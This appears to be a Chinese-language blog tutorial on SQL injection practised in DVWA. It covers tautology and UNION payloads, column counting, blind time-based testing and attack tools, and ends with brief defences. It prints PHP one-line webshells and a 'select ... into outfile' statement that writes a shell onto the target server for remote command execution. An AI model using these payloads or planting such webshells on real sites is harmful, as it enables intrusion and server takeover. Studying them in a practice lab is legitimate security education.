何为SQL注入漏洞? 顾名思义是利用开发人员对用户提交的参数没有进行严格的过滤而导致用户可通过构造特殊的参数拼接SQL语句而执行意外的操作
那我们如何通过练习来了解这个漏洞呢?这里推荐DVWA这个练习系统 里面集成了一些常见的WEB漏洞 来供我们自行搭建环境练习
举个例子 比如网站有个查询用户的功能, 其查询语句如下 :select name from users where name=$name
那么用户就可以通过 构造参数 1 or 1=1 来实现爆出所有用户 其最终查询语句如下 select name from users where name=1 or 1=1
因为1=1永远为真 所有实现了查询所有用户
你可能会问 万一SQL语句是这样子的呢? select name from users where name='$name'
这种形式的查询语句我们也是有办法进行注入的,我们可以人为构造单引号的闭合,并利用注释符号去除多余的内容 好吧 这样说可能不明白 那我们再来个例子
例如 用户构造参数 1' or 1=1# ,其最终执行SQL为 :select name from users where name='1' or 1=1#'
我们可以发现 原来的右边的单引号被我们用注释干掉了 ,并且我们人为制造了一个新的单引号来闭合 从而构造出了正确的SQL语句 同样也可以实现
好了 下面来讲解SQL注入的一般步骤
1.寻找SQL注入点
如何寻找SQL注入点呢?既然是SQL注入,那么一切与数据库有关的查询都可以成为我们的对象,但如何知道这个点是否能够注入呢? 重点就是看看我们构造的意外的SQL语句能否被系统所执行, 我们可以提交一个单引号' 如何被执行了,那么会因为单引号而引起SQL的语法错误 网页就会报错
当然这个操作也可以由软件来完成 这里只谈手工完成
2.执行注入操作
首先,如果你是想获取数据库的内容,那你就需要猜测出数据库的表名 还有列名 通过union来与原先的查询合并,使得页面爆出我们想要的内容 可通过and 1=2 来取消前面一条select语句的结果 但是使用UNION需要注意的是,合并的select查询的字段必须跟原先查询的字段数一致,才能进行union,那么问题来了,我们如何知道原先select语句所查询的字段有多少呢?我们可以通过 order by x语句来测试列数 order by 1代表按第一列排序 如果X不存在 则会报错 所以我们可以通过这样子来猜测列数
如果我们需要知道数据库的名称,版本,于是就有两列,但是比原先select的列数少怎么办呢? 我们可以用数字来代替 比如假设原先有3个列数,我们现在用union 联合原先的 则union的select 1,version(),database() 这样就构造了有3列的联合查询
那如果我们想要拿到后台的shell呢? 此时就需要我们听起来很牛逼的一句话木马结合sql语句的 select into outfile来实现了
下面给出PHP版本的一句话木马
一句话木马PHP版
<? system($_REQUEST['cmd'])?>
<?php eval('$_POST['888']')?>
那么我们如何把上面给的一句话木马上传到目标站点呢?可通过构造如下SQL语句:
select "<?system($_REQUEST['cmd'])?>" into outfile "路径"
但是问题又来了 我们并不知道网站的路径结构,那么我们如何构造这个SQL语句呢?其实路径我们是有办法知道的,通过猜测,或则利用报错来使得网站爆出它的路径
关于暴路径 可以参考这篇文章 https://www.cnblogs.com/cookies9/p/3395010.html
上传成功后,我们就可以访问我们的一句话木马文件,通过GET请求发送命令等
接下来介绍SQL inject (blind) 这个也是SQL注入,不同的是开发者关闭了错误回显,这就使得我们不可能通过报错信息来获得种种信息,例如判断是否为SQL注入点 此时单引号法就失效了,那我们可以利用这样的语句 and sleep(3)这个语句来测试,如果我们提交的查询真的经过了3秒后才执行返回结果,那么就证明系统执行了我们构造的SQL语句
下面列出一些自动化工具
1.菜刀 用来管理一句话木马,使得我们的操作变得简便,当我们把木马文件上传成功后,就可以通过菜刀来轻松的使用木马文件
2.burpsuite 这个软件可以用来暴力破解表名列名 原理是通过模仿请求 然后通过判断请求返回的内容来判断是否是存在的字段或表名 但是判断规则需要我们自己设置 他也可以实现重放功能,使得已发送的数据包能够再次发送,方便我们测试
3.sqlmap 可谓神器,集暴力破解等功能于一身,这里不作介绍,有兴趣者自行百度使用
防范措施
1.不信任用户的任何输入,对用户的输入严格过滤
2.使用参数化的SQL语句 (推荐!)
3.数据库分用户,严格限制权限